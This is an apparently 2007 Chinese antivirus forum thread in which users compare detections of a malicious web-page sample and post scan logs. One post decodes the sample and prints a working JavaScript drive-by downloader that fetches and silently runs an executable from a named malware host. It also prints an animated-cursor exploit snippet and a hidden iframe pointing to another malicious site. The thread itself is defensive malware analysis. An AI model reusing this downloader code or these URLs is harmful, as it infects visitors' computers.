[MD5: 159A36 4F82BC 887DD1 5324C9 345F62 8DEB75]瑞星报

kp2006

快杀

taihuxian

Virus: Trojan-Downloader.HTML.Agent.dr

Virus found while downloading Web content.

Address: bbs.kafan.cn

2007-6-18,22:25:27 [WARNING] Contains suspicious code HEUR/Exploit.HTML!
  C:\WINDOWS\Temp\_avast4_\unp233786700.tmp
      [INFO] No action will be taken on the file.
2007-6-18,22:25:29 [WARNING] Contains signature of the HTML script virus HTML/iFrame.H!
  C:\WINDOWS\Temp\_avast4_\unp87925906.tmp
      [INFO] No action will be taken on the file.

taihuxian

好像不多

hj5abc

NOD32 pppppass ..

Htm,..

[ 本帖最后由 hj5abc 于 2007-6-18 22:28 编辑 ]

wangjay1980

deleted: Trojan program Trojan-Downloader.HTML.Agent.dr        File: C:\Documents and Settings\Owner\×ÀÃæ\×ÀÃæ.rar/cs[1].htm

yashoo

咖啡查到4个  

lacmiu

小红伞全歼
BD没反应

solcroft

326042686544.tmp - http://www.88889999.info/cai/qq.exe

326042694760.tmp，1[1].htm和2[1].htm是一样的东西

1. Rar!%D%A<noscript> %D%A<iframe src=*></iframe> %D%A</noscript>%D%A<script language="JavaScript">%D%A<!--%D%Adocument.writeln("<script>var ailian,zhan;ailian="http://www.88889999.info/cai/qq.exe";zhan="ie.exe";try{var ado=(document.createElement("object"));var d=1;ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var e=1;var xml=ado.CreateObject("Microsoft.XMLHTTP","");var f=1;var ln="Ado";var lzn="db.St";var an="ream";var g=1;var as=ado.createobject(ln+lzn+an,"");var h=1;xml.Open("GET",ailian,0);xml.Send();as.type=1;var n=1;as.open();as.write(xml.responseBody);as.savetofile(zhan,2);as.close();var shell=ado.createobject("Shell.Application","");shell.ShellExecute(zhan,"","","open",0);}catch(e){};</script\>");%D%A//-->%D%A</script>%D%A<script type="text/jscript">function init() { document.write("");}window.onload = init;</script%6

复制代码

ani[1].htm

1. <DIV style="CURSOR: url(ah.c)"></DIV>%D%A<script type="text/jscript">function init() { document.write("");}window.onload = init;</script%6

复制代码

被下载来了，所以地址的前一段看不见了

cs[1].htm

1. <iframe src="http://q.zpx520.com/1.htm" width="0" height="0" frameborder="0"></iframe>

复制代码

1.htm解不来了... 另等高人吧 丢进浏览器后ESS倒是报了 http://w.dzy520.com/0.exe

1688388728

病毒: Trojan-Downloader.VBS.Psyme.ht, Trojan-Downloader.VBS.Agent.cg, Trojan-Downloader.JS.Agent.gr
文件: 桌面[1].rar
目录: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\ZM0SZ5EQ
进程: GreenBrowser.exe

taihuxian

Virus: Trojan-Downloader.VBS.Psyme.ht, Trojan-Downloader.VBS.Agent.cg, Trojan-Downloader.JS.Agent.gr, Trojan-Downloader.VBS.Psyme.hs, Trojan-Downloader.HTML.Agent.dr

Virus found while downloading Web content.

Address: bbs.kafan.cn